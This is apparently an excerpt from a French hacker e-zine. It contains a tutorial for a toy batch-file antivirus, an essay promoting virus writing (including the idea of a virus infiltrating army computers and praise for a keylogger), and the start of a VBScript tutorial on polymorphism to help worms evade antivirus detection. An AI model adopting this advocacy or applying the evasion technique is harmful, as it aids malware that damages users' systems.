echo   /                   3: Verification de protection     \ %anti%
echo   /                                                     \ %anti%                                   
echo   /                   4: Quitter                        \ %anti%
echo   /                                                     \ %anti%
echo   /-----------------------------------------------------\ %anti% 
echo.  %anti%
choice /c:1234  %anti%                                                          
if errorlevel 4 goto Exit %anti%
if errorlevel 3 goto Verifi  %anti%                                                            
if errorlevel 2 goto destruction %anti%                                                        
if errorlevel 1 goto Depistage %anti%                                                          

:Depistage  %anti%                                                                             
If exist %1 goto existe
Else goto existepas
:existepas 
goto endexistepas
:existe
type %1 | find "%2"  %anti%                          (1)                                                         
if errorlevel goto echo  %anti%                                                             

:echo'  %anti%                                                                                 
echo   /----------------------------------------------------\  %anti%         
echo   /     Attention virus dtect sur votre systeme      \  %anti%        
echo   /                                                    \  %anti%         
echo   /     Voulez-vous qu'Antivir 1.0 s'occupe de la      \  %anti%
echo   /            destruction par isolement               \  %anti%       
echo   / de la signature du virus precedemment signalee ?   \  %anti%       
echo   / Ceci semble necessaire car votre systeme semble    \  %anti% 
echo   /                    tres affecte.                   \  %anti%       
echo   /----------------------------------------------------\  %anti%        
echo   /                        1:Oui                       \  %anti%                                                            
echo   /                        2:Non                       \  %anti%                                                          
echo   /----------------------------------------------------\  %anti% 
echo. %anti%
choice /c:12 %anti%
if errorlevel 2 goto type   %anti%                   (2)                                          
if errorlevel 1 goto destruction  %anti%                                                        

:echo %anti%                                                                                    
cls %anti%
echo   /----------------------------------------------------\ %anti% 
echo   /									\ %anti%       
echo   /        Aucun virus detecte sur votre systeme       \ %anti%
echo   / 									\ %anti%         
echo   /----------------------------------------------------\ %anti%         
pause %anti%
goto type  %anti%                                                                                

:destruction  %anti%                                                                           
cls   %anti%                                                                                    
echo  /-----------------------------------------------------\ %anti%          
echo  /                    Please Wait...                   \ %anti%
echo  /                                                     \ %anti%
echo  /           L'outil Antivir 1.0 se charge de          \ %anti% 
echo  /               la destruction du virus.              \ %anti%
echo  / 								      \
echo  /-----------------------------------------------------\ %anti%          
call Antivir %1 %anti%                                  (3)                                       
pause %anti%
goto type   %anti%                                                                               

:Verifi %anti%                                                                                  
type %1 | find "anti" %anti%                            (4)                                       
if errorlevel 1 goto nonpro %anti%                                                              

:pro %anti%                                                                                     
cls %anti%
echo  /------------------------------------------------------\ %anti%          
echo  /                                                      \ %anti%
echo  /      Votre fichier est dsormais protg contre      \ %anti%
echo  /          toute(s) intrusion(s) virale(s)             \ %anti%
echo  /                                                      \ %anti%         
echo  /------------------------------------------------------\ %anti%          
pause
goto type  %anti%                                                                                

:nonpro   %anti%                                                                                
cls %anti%
echo  /-----------------------------------------------------\  %anti%         
echo  /    Vous n'avez pas suivi les instructions donnees   \  %anti%
echo  /              dans le fichier Readme                 \  %anti%         
echo  /              au chapitre Protection                 \  %anti%         
echo  /               							\  %anti%
echo  /               Fichier non protg...                \  %anti%         
echo  /-----------------------------------------------------\  %anti%         
pause %anti%
goto type %anti%                                                                                                                                                                         

:Exit    %anti%
goto fin  %anti%

:fin     %anti%                                                                                 

--------------------------------CUT HERE-----------------------------


Pour une explication plus simple selon moi, j'ai mis des numros pr annoter et pr viter qu'on s'y perde! Comme vous l'avez vu, le code n'est pas trs long (c ps le ProjetK-OS!), mais dans le mme esprit, on pourra faire voluer la reconnaissance de virus et leurs destructions tout en gardant la structure du prog bien distincte. De nombreuses fonctionnalits pourront tre rajoutes: cf Fin de L'Article...
Mais tout d'abord voyons quelques passages d'explications:
	
	(1') Soyez sympa et laissez mon nom  ct du copyright, je me suis bien amus mais bon, on est pas des lamers... Le but de l'article , c ps qu'un blaireau tombe dessus, le compile en faisant un copier-coller et remplace mon nom par le sien en disant que c lui qui l'a fait!........ (Je ne vise PerSonnE...) 

	(1) Ici, je vous renvoie  un petit explicatif sur les paramtres pouvant tre grs par la prog Batch;
Ainsi, qd au shell on a :
	Anti %1 %2 %3 %4 %5 %6 %7 %8 %9 %0
Tous les %1  %0 (de 1  10) sont de paramtres pouvant tre requis par le programme pour un bon fonctionnement. Par exemple, lorsque vous crez un fichier .BAT et qu'il ncessite des paramtres, du genre o copier ceci ou cela, ou encore qu'il touche deux fois de suite  un fichier dont le nom peut changer : il est plus utile de dfinir un paramtre %1 qui prendra n'importe quelle valeur.
Donc, dans le cas prsent:
	type %1 | find "%2"
Signifie quelque chose de trs simple, la commande type ouvre un fichier spcifi par l'utilisateur, la barre entre les deux signifie que les deux commandes seront faites simultanment, find signifie qu'il doit trouver quelque chose. Donc en gros, cette ligne signifie que l'av ouvre un fichier (quelque soit son nom, c'est un paramtre), et qu'il cherche dans ce fichier l'ventuelle signature d'un virus : %2 est alors une option qui sert  dfinir le nom de la signature du virus.     


	(2) Ici, le tableau affichera quelque chose comme ceci:

Car la commande echo permet de faire des sorties cran, et %anti% n'est qu'une signature qui n'est en aucun cas prise en compte par l'interprteur de commandes DOS.
/----------------------------------------------------\          
/     Attention virus dtect sur votre systeme      \      
/                                                    \          
/     Voulez-vous qu'Antivir 1.0 s'occupe de la      \ 
/            destruction par isolement               \       
/ de la signature du virus precedemment signalee ?   \        
/ Ceci semble necessaire car votre systeme semble    \  
/                    tres affecte.                   \        
/----------------------------------------------------\         
/                        1:Oui                       \                                                             
/                        2:Non                       \                                                          
/----------------------------------------------------\
Un choix s'offre alors  nous, que faire? :)
Pour que nous puissions choisir, la commande choice est indispensable, petite explication:
choice /c:12 ; signifie que nous avons deux choix 1 et 2 donc qu'en appuyant sur la touche 1 ou 2 le choix sera diffrent.
En ce qui concerne la suite : if errorlevel 2 goto GOO
	                        if errorlevel 1 goto GII
Cela veut dire que si on appui sur 2, il y a un renvoi  la sous routine GOO; et que si on appui sur 1, il y a un autre renvoi  la sous routine GII. En fait errorlevel est une variable et si elle prend la valeur 2 et qu'on lui demande si elle est gale  1, elle rpondra oui, car 2=1+1 donc il faut rentrer ses choix par ordre dcroissant, si vous aviez 9 choix, il y aurait aprs 
choice /c:123456789, 
if errorlevel 9 goto ...     
........................
if errorlevel 1 goto ...
Bon , j'espre que c clair!


	(3) Bon l trenquil! Le passage est des plus con: la commande call permet de faire appel  un programme externe sans pour autant devoir fermer celui en excution. Il y a donc un appel ici  un fichier dnomm Antivir.bat, cependant  titre de remarque je voudrais prciser que le chemin entier du fichier sur votre HD, ou ailleurs devra tre spcifi dans le cas o ce fichier ne se trouverait pas dans le mme rpertoire que le fichier lanc principalement : ici Anti.bat.
Comme prcis prcdemment, %1 est un paramtre dfini depuis le dbut de l'excution de Anti, %1 est donc utile aux deux : Anti et Antivir (==> D'o l'astuce d'utiliser la commande call car le %1 garde sa valeur et peut tre exploit sans avoir a tre rinitialis par le second prog lanc).

	(4) Si vous tes pas trop cons, vous aurez remarqu que cette partie est la mme que (1) avec une seule modification,  la suite de l'ouverture et de la commande find "anti", se trouve une ligne du type: 
	if errorlevel 1 goto nonpro
Cette ligne signifie que si aprs ouverture du fichier, l'ordinateur ne trouve pas la signature %anti%, alors il y a une erreur (il n'y a pas d'erreur si il trouve la signature anti), il y a un renvoi  la routine nonpro - qui signifie non-protg - qui affiche un message.
   


=====================
Et maintenant, un passage qui est appel dans le fichier ci-dessus: Antivir 1.0 (joli nom!!)

--------------------------------CUT HERE-----------------------------
@echo off %anti%
type %1 | find "anti" > prot.bat %anti%          (5)
copy prot.bat %1 %anti%
echo /------------------------------------------------------\ %anti%
echo /                   Please wait ...                    \ %anti%
echo /                                                      \ %anti% 
echo /     Signature du virus dtruite, virus maintenant    \ %anti%
echo /            inoprant et totalement supprim          \ %anti%
echo /									\ %anti%
echo /------------------------------------------------------\ %anti%
--------------------------------CUT HERE-----------------------------

Toujours dans le mme esprit: 
	type %1 | find "anti" > prot.bat
Ceci n'a qu'une nuance en plus de celle vue prcdemment: > prot.bat.
Si on rsume clairement ce que l'ordinateur va faire lorsqu'il trouvera cette ligne de code, on aura ceci: 

1- L'ordi. ouvre (comme  l'accoutum, comment savoir s'il y a un virus sans voir le contenu d'un fichier?!...) le fichier entr en premier paramtre puis,
2- Il cherche les caractres suivants: "anti",
3- S'il trouve, il se charge de copier toutes les lignes de code qui contiennent ces caractres, dans un fichier qu'il appellera prot.bat. 
De ce fait les lignes de codes qui taient finies par %anti% seront toutes sauvegardes : on obtient donc un fichier final du nom de prot.bat qui ne contient que les lignes de code utiles et non viroles!
4- On aurait pu arrter le travail en 3- mais on fini en beaut: 
	copy prot.bat %1
On copie le fichier qui ne contient maintenant que les lignes valides sous le nom du fichier d'origine qui tait virol... 
... DU GRAND ART :) ...
     
Aller, une dernire partie pour le fun et puis aprs je m'arrte, c Par4noID qui va gueul, je vais lui prendre 20Ko sur le mag...


=====================
Comme promis, 
quelques Fonctionnalits supplmentaires:

	 Note sur la prsence ou non de fichiers  tester plutt qu'utiliser le process MSDOS... C ps clair? Comment a? Bon c vrai que l je me suis exprim comme un pied, bon en clair mon truc c de faire que qd l'av veut tester un fichier qui n'existe pas - faute de frappe, fichier rellement non-existant, etc - plutt que d'utiliser le process MsDos qui nous marque: Commande ou nom de fichier incorrect
					 0 fichier(s) supprim(s)
On peut nous mme, faire un truc qui marquerait un message d'erreur propre  notre anti-virus. Pour ceci, il faudra tester l'existence ou non du fichier qu'il faudra tester, on utilisera la fonction:
If exist %1 goto EXISTE
If not exist %1 goto EXISTEPAS ==> Facultative.

   La premire ligne fait le test de savoir si %1 (qui est le nom du fichier  tester) existe, si la condition est vrifi, cad si il existe alors va voir  EXISTE.
   La deuxime ligne est optionnelle; If not exist ralise l'inverse de if exist donc, si %1 n'existe pas va  EXISTEPAS. On peut l'omettre et faire comme suit:
If exist %1 goto EXISTE
Else goto EXISTEPAS ==> cette ligne rend le code plus clair!
:EXISTEPAS
Echo ce fichier n'existe pas!!!
goto end ==> A ne ps omettre sinon, l'interprteur ne s'arrte ps 		 avant la fin du prog et il lit tout jusqu' ce qu'il y 		 ait un renvoi.
:EXISTE
Echo ce fichier existe bien!! ==> Ps besoin ici de placer le goto car 					    l'interprteur n'a plus qu' 						    descendre et il y ait!
:end     
(Vous pouvez ne rien mettre dans cette routine et votre prog restera plus ou moins en attente, si vous le lancez sous les commandes MsDos W9X alors il marquera : Termin c:\[nom du fichier]

    Voil, il ne reste plus qu' l'incorporer au code de l'antivirus, le plus dur est de ne pas le mettre dans un endroit o il ne devrait pas tre...Voyons cela:

:Depistage  %anti%                                                                             
If exist %1 goto existe
Else goto existepas
:existepas 
echo Votre fichier n'existe pas, impossible de l'analyser.
echo Fichier(s) analys(s) 0. 
goto exit
:existe
echo Vrification de l'existence du fichier...
echo Vrification accomplie : fichier prsent... 
choice /c:_  Veuillez patienter... /T:_,2           (6)
type %1 | find "%2"  %anti%                                                             
if errorlevel goto echo  %anti%                                                             

...

:endexistepas
echo Votre fichier  tester n'existe pas sur votre machine, veuillez echo entrer un nom valide. SVP.

L'"extension" du prog doit se placer ici, rflchissons,  cet endroit, l'av ouvre le fichier donc il est trop tard pour le faire aprs, il faut le faire avant qu'il ne l'ouvre: la place est idale!

	(6) Petite explication, ce passage n'a t fait que par simple souci de rendre plus vrai, j'ai plac une temporisation sur la commande choice, ce qui permet de faire attendre que l'ordinateur ait fini de vrifier: cette opration ne dure en fait que quelques fractions de secondes (elle ne rend pas bien...) ainsi, a fait plus vrai.  

	 Faire crer un journal de suppressions par l'av ==> Des oprations effectues seront enregistres sous un fichier spcial : Si ce fichier disparat, alors l'av ne fonctionne plus, pour viter toute fraude mme si les Bat sont ditables...
Procdons mthodiquement, pour faire ceci, il faut dans un premier temps que l'av sache les oprations qu'il excute, il doit crer un fichier et rajouter dans ce fichier les oprations qu'il aura effectu  diffrents stades de l'avancement de ses activits.

Dj, pour crer un fichier on peut procder comme suit:
echo echo Bonjour > c:\text.kil
----|-------------|------------|
 (1)      (2)           (3)

Je pense que tout le monde a compris ms bon: 
(1) C la commande msDos proprement dite, crit ce qu'il y a aprs.
	(2) C ce que (1) va crire dans un fichier crer ultrieurement.
	(3) C le fichier ds lequel les instructions vont tre enregistres.

Dans le cas prsent, si l'on veut que le journal soit oprant de faon adquate, il faut que toutes les manipulations soient enregistres dans le fichier. Il faut donc qu' chaque stade de l'avancement des oprations de l'av, il mette ce qu'il fait dans le fichier en question. Voyons cela!
Quelles sont les grandes oprations effectues par l'av?
	1- Le Dpistage,
	2- La tentative de destruction,
	3- La vrification de protection,
	4- Quitter.
En gros,  chacune de ces phases correspond une ligne au moins dans le fichier journal. De plus, certaines oprations possdent des sous-oprations. 

Dpistage:
	- Fichier existant ou non;
	- Appel d'Antivir = Fichier infect;
	- Non-Appel d Antivir = Fichier non-infect.

Tentative de destruction:
	- Appel d'Antivir.
    
Verification de protection:
	- Fichier protg;
	- Fichier non-protg.
A cet endroit de l'article, je vous renvoie  la rubrique de fin avec le code de l'antivirus en version de base ainsi qu'avec les diffrentes fonctionnalits ajoutes au prog. Par souci de place (on comprendra ici de taille exprime en Ko, taille maxi que j'ai dj plus que dpasse :)), il y a des renvois aux diffrentes parties de texte de l'interface utilisateur qui sont donnes au dbut avec le code du prog de base! Amusez-vous bien... 


	 Message d'erreur qd il manque les 2 paramtres ou l'un des deux seulement. En effet, on peut gnrer un message d'erreur lorsque l'utilisateur omet certains paramtres. Il faut alors user des vieilles commandes: " If errorlevel 1 goto ... "
Voici donc une petite suggestion en ce qui concerne l'implmentation de cette fonctionnalit dans l'anti-virus:
Il faut placer cette partie  l'endroit o l'on fait appel  %1 et
%2 voici donc,

:Pourc
If "%1"=="" goto error
If "%2"=="" goto error

Cette partie du code doit tre place avant tout opration effectue par l'ordinateur. Ne pas oublier le renvoi  une tiquette, ici pourc et ne pas oublier de faire finir le programme  la fin de la routine.

:error
cls
echo Utilisation d'Anti25 :
echo.
echo Anti [fichier a tester] [signature du virus a trouver]
echo.
echo Veuillez completer votre ligne de commande par une de ces
echo deux informations, l'une ou les sont manquantes. De ce fait,
echo aucune opration ne peut tre opre sur votre systeme.  

Je vous conseille de placer ce code  la fin du prog, juste avant la fin totale du prog, de ce fait vous n'aurez pas  penser  un renvoi ventuel jusqu' la fin.

=====================
~~~~~~~~~~~  
\MEGA CODE/
~~~~~~~~~~~

--------------------------------CUT HERE-----------------------------
@echo off  %anti%                                                                   
cls        %anti%                                                                        

:journal
If not exist c:\mesdoc~1\rtcours\anti25\anti25\journal.txt goto fin2
Else goto pourc

:Pourc
If "%1"=="" goto error
If "%2"=="" goto error

:type      %anti%                                                                                                      
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih1.bat
choice /c:1234  %anti%                                                          
if errorlevel 4 goto Exit %anti%
if errorlevel 3 goto Verifi  %anti%                                                            
if errorlevel 2 goto destruction %anti%                                                        
if errorlevel 1 goto Depistage %anti%                                                          

:Depistage  %anti%                                                                             
If exist %1 goto existe
Else goto existepas

:existepas 
echo Votre fichier n'existe pas!
echo   ========================== > journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Le fichier demand a tre verifi >>journal.txt 
echo   n'existe pas sur la machine; >> journal.txt
echo   l'operation d'Anti25 ne pt tre mene >>journal.txt 
echo    bien par l'anti-virus. >> journal.txt   
goto exit

:existe
cls
echo Verification du fichier en cours...
echo.
echo Verification reussie
pause
type %1 | find "%2"  %anti%                                                                    
if errorlevel goto echo  %anti%        

:MM22  %anti%                                                                                 
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih2.bat
choice /c:12
if errorlevel 2 goto type   %anti%                                                             
if errorlevel 1 goto destruction  %anti%                                                        

:echo %anti%                                                                                    
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih3.bat
pause
if exist journal.txt goto Journal
Else goto Conti

:Conti
echo ========================== > journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier demand  tre test >>journal.txt
echo   n'est pas infect, nanmoins, >> journal.txt
echo   il serait bon d'effectuer une vrification >>journal.txt
echo   de protection de vos >> journal.txt
echo   autres fichiers (si cela n'a pas >>journal.txt 
echo   t dj fait). >> journal.txt
goto type

:Journal
echo ========================== >> journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier demand  tre test n'est pas infect ,nanmoins, >> journal.txt
echo   il serait bon d'effectuer une vrification de protection de vos >> journal.txt
echo   autres fichiers (si cela n'a pas t dj fait). >> journal.txt
goto type
   
:destruction  %anti%                                                                           
cls   %anti%                                                                                    
call c:\mesdoc~1\rtcours\anti25\anti25\antih4.bat
call Antivir %1 %anti%                                                                         
if exist journal.txt goto Journal2
Else goto Conti2
pause
                                                                               

:Conti2
echo ========================== > journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier est infect, le systme de destruction Antivir1.0 >> journal.txt
echo   va maintenant se charger de la destruction du virus par son isolement. >> journal.txt
echo   Opration parfaitement russie >> journal.txt
goto type

:Journal2
echo ========================== >> journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier est infect, le systme de destruction Antivir1.0 >> journal.txt
echo   va maintenant se charger de la destruction du virus par son isolement. >> journal.txt
echo   Opration parfaitement russie >> journal.txt
goto type

:Verifi %anti%                                                                                  
type %1 | find "anti" %anti%                                                                    
if errorlevel 1 goto nonpro %anti%                                                              

:pro %anti%                                                                                     
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih5.bat
pause
if exist journal.txt goto Journal3
Else goto Conti3
                                                              
:Conti3
echo ========================== > journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier est bel et bien protg, veuillez veiller  ce que ce soit >> journal.txt
echo   le cas de tous les autres fichiers prsents sur cette machine. >> journal.txt
goto type

:Journal3
echo ========================== >> journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier est bel et bien protg, veuillez veiller  ce que ce soit >> journal.txt
echo   le cas de tous les autres fichiers prsents sur cette machine. >> journal.txt
goto type

:nonpro   %anti%                                                                                
call c:\mesdoc~1\rtcours\anti25\anti25\antih6.bat
pause
if exist journal.txt goto Journal4
Else goto Conti4
                                                                                                                                                                        %anti%

:Conti4
echo ========================== > journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier n'est pas protg, il doit l'tre dans la mesure o >> journal.txt
echo   l'antivirus n'est capable de dtecter les virus seulement si ceux-ci >> journal.txt
echo   possdent une signature bien distincte de anti. >> journal.txt
goto type

:Journal4
echo ========================== >> journal.txt
echo   Message d'Anti25: >> journal.txt
echo   Votre fichier n'est pas protg, il doit l'tre dans la mesure o >> journal.txt
echo   l'antivirus n'est capable de dtecter les virus seulement si ceux-ci >> journal.txt
echo   possdent une signature bien distincte de anti. >> journal.txt
goto type

:Exit    %anti%
goto fin  %anti%

:error
cls
echo Utilisation d'Anti25 :
echo.
echo Anti [fichier a tester] [signature du virus a trouver]
echo.
echo Veuillez completer votre ligne de commande par une de ces
echo deux informations, l'une ou les sont manquantes. De ce fait,
echo aucune operation ne peut etre operee sur votre systeme.

:fin2
echo Fichier journal non prsent sur votre machine, Anti25 refuse alors 
echo toute manipulation.
:fin     %anti%                                                                                 
--------------------------------CUT HERE-----------------------------

=====================
ANNEXE:
Vous aurez remarqu que non pas que je sois belge mais mes textes sont coups  cause des marges que je dois respecter sous WordPad, en compilant ou en le refaisant vous-mme sous le Bloc-Notes, pas de pbs de ce genre, y pas de marge : veillez qd mme  pas trop sortir de l'cran sinon a n'affichera pas correctement.

Entre autre, pour ne pas compliquer le prog, j'ai fait en sorte qu'il soit utile  chaque fois de vrifier si le fichier est protg avant d'oprer un dpistage. De ce fait, j'vitais de crer au dbut du test de dpistage une routine du genre :
:depi2
type %1 | find "anti" 
if errorlevel goto ...
avant de faire un dpistage propre. En plus clair, si vous dpistez un fichier qui possde %anti%  chaque fin de ligne, donc un fichier protg, l'av va quand mme dtect un virus dans la mesure o toute signature peut tre dangereuse, afin d'viter des erreurs, mieux vaut toujours effectuer un test de protection du fichier avant de dpister un quelconque virus qu'il renferme: cette p'tite chose peut toutefois tre rsolue aisment mais si je passe trop de tmps la dessus, aprs j'en aurais pu pr l'autre article... :( dsol!
   
=====================
REMARQUE:

Pour tous les adeptes de failles sous les petits jeux Wx, je propose cette fois-ci (aprs le dmineur), une couille de Bow&Arrow, trs drle comme jeu, il consiste  tirer  l'aide d'un arc dans des baloons et autres artifices... Ce p'tit jeux trop malin enregistre les scores sous un fichier nomm: B&arrow.ini, selon cette bonne vieille mthode qu'est l'overboosting des points, je m'empresse d'diter ce fichier et je remarque des caractres bizarres, j'efface le tout et je rajoute des FFF partout, en prenant bien soin de dpasser la largeur de la fentre d'un seul F, du coup, plantage assur comme  l'accoutum! Erreur de protection gnrale dans le module B&ARROW.EXE  0001:000007fc. Encore un pb d'assembleur, l'tat de la pile est plutt bizarre. Ceci dit encore merci  Microsoft qui prvoit toutes les ventualits: une erreur fatale  cause d'un p'tit jeu de merde (quoiqu'amusant). Si vous voulez en voir encore plus, ouvrez des applications en arrire plan et lancez la faille; vous aurez srement le message suivant: Etat Memoire dangereusement bas, veuillez fermez votre session Windows : toutes les donnes non-enregistres seront perdues. C beau le progrs, plus on paye les logiciels chers et plus y a des pbs. Bravo MiKROKRO...   
                                                             
									        SnEaKie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
         				L'avenir des virus
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

I) Etat des lieux
==================

	Devant le peu d'intrt que porte le monde underground aux auteurs de virus (ce qui est fort dommageable), j'ai dcid de porter ma rflexion sur le futur des virus. J'ai constat que la plupart des newbies prfrent se consacrer au hacking, peut-tre parce que c'est plus concret, a se vit sur l'instant. Pourquoi n'y a-t-il pas plus de personnes qui s'intressent au virus ? Ce n'est pas plus difficile que le hacking, les bases pour comprendre des virus sont trs faciles  acqurir. On reproche souvent  l'assembleur d'tre un langage archaque, aux virus de ne plus avoir leur place dans l'informatique moderne, aux auteurs de virus d'tre des gens qui ne cherchent qu' nuire... Foutaises !!!
	Tout d'abord, l'assembleur est de loin le langage le plus puissant pour crire un programme optimis  100%. Tout ce qu'on peut faire avec un macrolangage peut tre fait en 10 fois plus court (en taille relle) avec de l'assembleur. Je suis d'accord pour dire qu'un programme est plus facile  faire en C ou en Pascal et que dbugger un programme assembleur, c'est pas de la sous-traitance de manches de casseroles mais au final, un programme assembleur est toujours plus puissant parce qu'il fait exactement ce que l'on veut, ni plus ni moins. C'est encore plus vrai quand il s'agit d'crire des virus un peu volu. Et par "volu", je n'entends pas grand chose, je veux simplement dire qui infecte les excutables sans les dtruire. Ceux qui esprent encore faire un virus de ce type avec du Pascal en moins de 5 Ko sont dignes d'aller travailler chez Krokro. Je rapelle que le virus K-os prsent dans RTCm4g n2 a une taille de 299 octets. Donc, pas si archaque que a l'assembleur.
	Ensuite, les virus ont tout  fait leur place. Il est vraiment primaire de rduire les virus  la bombe. La technologie virale est vraiment bien plus vaste et peut s'avrer trs utile, mme  des hackers. Un virus est fondamentalement un programme autonome, il ne connait pas la semaine des 35 heures. Les applications sont innombrables :
-espionnage militaire : en sachant que l'arme franaise possde un rseau  base de Windoze l o mme l'arme amricaine a opt pour Linux, on peut se poser la question de savoir si un petit virus kamikaze qui s'infiltre sur les PC de l'arme serait possible  raliser. Je pense personnellement que oui mais je laisse le soin  d'autres de le crer.
-cryptage : KOH est un programme qui crypte le disque dur et les disquettes. Il est crit en assembleur et a exactement la forme d'un virus (sauf que vous avez le contrle dessus). Il utilise toutes les techniques virales traditionnelles : criture sur le boot (disque dur et disquettes), rsidant (et tout ce que cela implique)... Je tiens  dire, au passage, que ce virus bnfique est interdit  l'exportation sous une forme excutable  partir des Etats Unis (Big Brother veille toujours :-o).
-SE : KBWin95 est un virus rsidant (il marche uniquement sous W95) qui capte la moindre frappe sur le clavier (en particulier mots de passe). Voil un virus qui fait du SE  temps plein, plus besoin d'avoir recours  des artifices plus ou moins douteux et plus ou moins foireux.

II) Futur...
=============

	D'o viennent toutes les lgendes qui circulent sur les virus ? Allez voir un abruti moyen qui croit s'y connatre en informatique (un responsable du rayon informatique  la FNAC fera trs bien l'affaire). Demandez lui des renseignements sur les virus et il vous sortira immanquablement la liste de tous les fantasmes concernant les virus. Les antivirus sont de trs bons produits commerciaux parce qu'ils exploitent la peur populaire. A l'origine de tout, l'obscurantisme et la sgrgation qu'ont subit les virus (on fait un petit coucou au passage  nos amis les V). Mais les virus reprsentent  mon avis l'avenir de l'informatique ou tout du moins un challenge extrmement important.
	Je n'affirme pas cela gratuitement. Il existe un domaine de la science trs peu connu qui se nomme la 'vie artificielle' (il n'y a aucun rapport avec l'intelligence artificielle, le premier domaine a t srieusement tudi depuis bientt un demi sicle alors que le second n'est qu'une rverie d'auteurs de science fiction ou n'existe qu' l'tat de projet). La vie artificielle a pour but de recrer une forme de vie qui ne soit pas organique. Pour simuler cette vie, on s'oriente de plus en plus vers les virus informatiques, et plus particulirement vers les virus dits 'volutionnistes'. Sous ce grand nom se cachent des virus polymorphes amliors dont nous donnerons un exemple dans un prochain mag dans le cadre du projet K-os.
	Pour moi, c'est l que rside tout l'intrt des virus. Imaginez qu'un jour, nous arrivions  recrer une forme de vie primitive sur ordinateur; son tude marquerait sans doute une avance considrable pour toutes les thories darwinienne de l'volution, nous pourrions comprendre notre propre volution et peut-tre notre volution future. J'en vois certains qui rigolent, sachez que votre rire est le rire de ceux qui ne savent pas ou qui ne veulent pas savoir. Vous n'arriverez  rien parce que vous tes comme les personnes contre lesquelles vous luttez : ignorants et contents de l'tre. Maintenant, rflchissez 5 minutes sur ce que la petite Androgyne elle vient de raconter et demandez vous si finalement, elle a pas tout  fait tort...


	PS : Ceux qui veulent ragir  cet article peuvent crire au g4ng RTC (toujours la mme adresse RTCgang@yahoo.fr ); ceux qui veulent critiquer sans argumentation, je les connat dj, ce n'est pas la peine d'user votre clavier pour envoyer un mail que de toute faon je ne lirai pas... B-)

	<Bibliographie> : Je conseille  tous les newbies qui veulent s'y mettre rellement d'investir dans l'excellent livre de Mark Ludwig, _Du virus  l'antivirus_ (ed. DUNOD) qui non seulement explique les principes de bases des virus mais qui donne plusieurs codes expliqus de virus puissants. Ne vous fier pas au titre, on ne parle aucunement d'antivirus dans ce livre sinon des techniques qu'ils utilisent et des manires de les djouer. J'ai appris les 3/4 de ce que je sais grce  ce bouquin. Il est maintenant dans un tel tat, tout raffistol de partout... C'est LA rfrence  avoir, c'est de l que j'ai tir les exemples de cet article alors n'hsitez pas. Pour ceux qui ne connaissent pas Mark Ludwig, c'est un amricain, auteur de virus et qui s'intresse maintenant au dveloppement de la vie artificielle. Si ce sujet vous intresse, il a crit un autre livre plus philosophique appel _Mutation d'un virus_.

						By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
				     Polymorphisme .vbs
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

  	La dernire tendance est aux worms .vbs (Visual Basic Scripting) et aux autres scripts(.js par exemple) car les utilisateurs s'en mfient moins que les exe ou les com et ils sont plus facile  programmer. On peut trouver ces scripts sur n'importe quelle page web. Certains ordi ne prviendront donc pas au lancement d'un script qui peut tre sympa :)

	Les antivirus reconnaisent en gnral la signature d'un virus (son code). Il faut donc utiliser la technique de polymorphisme qui consiste  modifier le code d'un virus sans changer ses fonctions. Par exemple , vous prenez le code de "ILOVEYOU" et vous lui rajoutez un moteur de polymorphisme et les antivirii ne le reconnaitront pas comme le virus "ILOVEYOU". 

	J'en ai donc construit un assez rudimentaire en vbs. Mais avant d'attaquer le code il faut avoir qqq base en vbs ou alors en Visual Basic X.

	Le VBScript ressemble au Visual Basic mais il a de nombreuses commandes en moins, importantes ou pas (comme Iff , Choose, ...).
	Les commandes I/O (Input/Output) sont totalement diffrentes. Elles ont t remplac en utilisant le programme avec l'objet FileSystemOject (FSO). Le FSO objet est contenu dans la biblothque de type scripting qui est localis dans le fichier scrrun.dll dans le dossier system du systme d'exploitation utilis.

	En premier, cre un FSO objet en utilisant la mtode CreateObject. On le fait en VBScript avec :
			Dim fso
			Set fso = CreateObject(Scripting.FileSystemObject)

	Dans cette exemple, Scripting est le nom de la bibliothque de type et FileSystemObject est l'objet que tu veux crer.

	En deuxime, il faut utilis la mthode appproprie de l'objet FileSystemObject.
Par exemple pour crer un nouveau objet, il faut utiliser CreateTextFile. Ce qui donne :
			Dim fso
			Set fso = CreateObject(Scripting.FileSystemObject)
			fso.CreateTextFile "Polymorphisme.vbs"
Par exemple pour lire ou crire dans un fichier, il faut d'abord l'ouvrir grce  OpenTextFile (en utilisant comme premier argument le nom du fichier  ouvrir et en deuxime argument le mode d'ouverteur )ou  OpenAsTextStream ( . Ce qui donne:
			Dim fso
			Const Lecture = 1, Ecriture = 2 , Random = 3
			Set fso = CreateObject(Scripting.FileSystemObject)
		 	Set ts = fso.OpenTextFile("Polymorphisme.vbs", Lecture)
ou
			Dim fso, f, ts
			Const Lecture = 1, Ecriture = 2 , Random = 3
			Set fso = CreateObject(Scripting.FileSystemObject)
			f = fso.GetFile("Polymorphisme.vbs")
			Set ts = f.OpenAsTextStream(Ecriture,0)

Puis on utilise les mthodes Write, WriteLine, ReadLine, Read, ReadAll.
ensuite on ferme les fichiers ouverts avec la proprit Close.

	
	Bon, maintenant que vous avez les bases, on va voir comment marche mon moteur. 
Il cre un fichier de nom alatoire avec des caractres ASCII compris entre 65 et 90 (c'est  dire les lettres de l'alphabet en majuscules )et de longueur comprise entre 3 et 11 lettres. En gros, il prend ensuite la premire ligne de votre virus ou worm et la copie dans le nouveau fichier cr. Il fait la mme chose pour la deuxime ligne de votre code mais entre temps il aura rajout des arguments (c'est  dire des lignes commenant par le caractre ' ) ou des entres ou des espaces.

	Ce type de polymorphisme est assez contraignant car la taille du worm est exponentielle : sa taille sera multiplie par 2  chaque fois !!!!!!!!!!!!!
